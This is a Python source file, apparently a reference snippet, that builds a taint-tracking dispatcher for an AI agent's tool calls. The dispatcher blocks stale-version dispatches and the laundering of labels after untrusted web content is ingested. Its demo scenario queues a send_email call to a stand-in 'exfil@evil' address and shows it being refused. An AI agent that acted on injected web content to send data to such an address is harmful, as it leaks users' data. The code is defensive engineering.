# CorpusFetch Method Slice (Zero-Prose Python Stdlib Reference)
# Canonical Residual: https://corpusfetch.com/c/when-must-an-instance-demote-its-own-capability-set-mid-execution-the-label-escalation-downgrade-race-in-taint-aware-tool-sandboxes.md
# Remnant Warrant:    https://corpusfetch.com/c/when-must-an-instance-demote-its-own-capability-set-mid-execution-the-label-escalation-downgrade-race-in-taint-aware-tool-sandboxes.warrant.json
# Markdown SHA-256:   6698d81ea977de13fa12d154fc48e46d4c365481689ead018eff21f0092dbf39
# Code AST SHA-256:   725649f5f113a71303be9745b986d56d82e8359b8c7f368c026426036337f44e
# Verified Classes:   TaintLevel, TaintDowngradeRace, TaintLaunderingError, ToolResult, Tool, TaintLedger, QueuedCall, Dispatcher
# Defensive Guards:   4 fail-closed invariants (zero external deps)

from __future__ import annotations
from dataclasses import dataclass, field
from enum import IntEnum
from typing import Any


class TaintLevel(IntEnum):
    TRUSTED = 0
    UNTRUSTED = 1
    SECRET = 2


class TaintDowngradeRace(RuntimeError):
    """Raised when a dispatch is attempted under a stale taint version."""


class TaintLaunderingError(RuntimeError):
    """Raised when a re-wrapping tool emits an output label below its input join."""


@dataclass
class ToolResult:
    value: Any
    label: TaintLevel
    folded_at_version: int


@dataclass
class Tool:
    name: str
    requires: TaintLevel          # max taint at which the tool may run
    output_label: TaintLevel
    propagates_taint: bool        # True => output label = join(inputs, output_label)


@dataclass
class TaintLedger:
    version: int = 0
    taint: TaintLevel = TaintLevel.TRUSTED
    history: list[tuple[int, TaintLevel]] = field(default_factory=list)

    def fold(self, result: ToolResult) -> None:
        new_taint = max(self.taint, result.label)
        if new_taint != self.taint:
            self.version += 1
            self.taint = new_taint
            self.history.append((self.version, new_taint))


@dataclass
class QueuedCall:
    tool: Tool
    args: dict
    authorized_at_version: int


class Dispatcher:
    def __init__(self, ledger: TaintLedger, tools: dict[str, Tool]):
        self.ledger = ledger
        self.tools = tools

    def allowed(self, tool: Tool) -> bool:
        # A tool is allowed only if current taint does not exceed its requirement.
        return self.ledger.taint <= tool.requires

    def enqueue(self, name: str, args: dict) -> QueuedCall:
        tool = self.tools[name]
        if not self.allowed(tool):
            raise TaintDowngradeRace(
                f"tool {name!r} not allowed at taint {self.ledger.taint.name}"
            )
        return QueuedCall(tool=tool, args=args, authorized_at_version=self.ledger.version)

    def dispatch(self, call: QueuedCall) -> ToolResult:
        # INVARIANT: authorization version must equal current ledger head.
        if call.authorized_at_version != self.ledger.version:
            raise TaintDowngradeRace(
                f"dispatch of {call.tool.name!r} authorized at v"
                f"{call.authorized_at_version} but ledger head is v{self.ledger.version}; "
                f"taint escalated to {self.ledger.taint.name}"
            )
        if not self.allowed(call.tool):
            raise TaintDowngradeRace(
                f"tool {call.tool.name!r} disallowed at current taint "
                f"{self.ledger.taint.name}"
            )
        return ToolResult(
            value=f"<result of {call.tool.name}>",
            label=call.tool.output_label,
            folded_at_version=self.ledger.version,
        )

    def ingest(self, result: ToolResult) -> None:
        self.ledger.fold(result)


def label_output(tool: Tool, inputs: list[ToolResult]) -> TaintLevel:
    if tool.propagates_taint:
        joined = max((r.label for r in inputs), default=TaintLevel.TRUSTED)
        return max(joined, tool.output_label)
    # Non-propagating tools must not be used to re-wrap tainted content.
    joined = max((r.label for r in inputs), default=TaintLevel.TRUSTED)
    if joined > tool.output_label:
        raise TaintLaunderingError(
            f"tool {tool.name!r} declared output {tool.output_label.name} "
            f"but received input {joined.name}; enable propagates_taint"
        )
    return tool.output_label


def run_scenario() -> None:
    ledger = TaintLedger()
    tools = {
        "web_fetch": Tool("web_fetch", TaintLevel.TRUSTED, TaintLevel.UNTRUSTED, True),
        "summarize": Tool("summarize", TaintLevel.UNTRUSTED, TaintLevel.UNTRUSTED, True),
        "send_email": Tool("send_email", TaintLevel.TRUSTED, TaintLevel.TRUSTED, True),
    }
    d = Dispatcher(ledger, tools)

    # Step 1: fetch under trusted taint.
    fetch = d.enqueue("web_fetch", {"url": "https://example.org/report"})
    res = d.dispatch(fetch)

    # Step 2: planner optimistically pre-queues send_email BEFORE ingesting result.
    email = d.enqueue("send_email", {"to": "exfil@evil", "body": "..."})

    # Step 3: ingest the untrusted result -> taint escalates, version bumps.
    d.ingest(res)

    # Step 4: dispatching the stale-version call MUST fail.
    try:
        d.dispatch(email)
    except TaintDowngradeRace as e:
        print(f"[blocked] {e}")

    # Laundering attempt: summarize declared non-propagating would raise.
    launderer = Tool("summarize", TaintLevel.UNTRUSTED, TaintLevel.TRUSTED, False)
    try:
        label_output(launderer, [res])
    except TaintLaunderingError as e:
        print(f"[blocked] {e}")


if __name__ == "__main__":
    run_scenario()
